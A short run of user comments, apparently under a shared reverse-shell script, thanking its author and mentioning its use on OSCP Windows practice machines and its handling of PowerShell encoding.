This is great! it helped me a lot!

The only rev shell i needed for OSCP windows boxes! <3

This helped me greatly, thank you the escaping was annoying me

Certified goat!

Thank you very much, revshells.com seems to encode the entire command including "powershell", this is very convenient and helpful
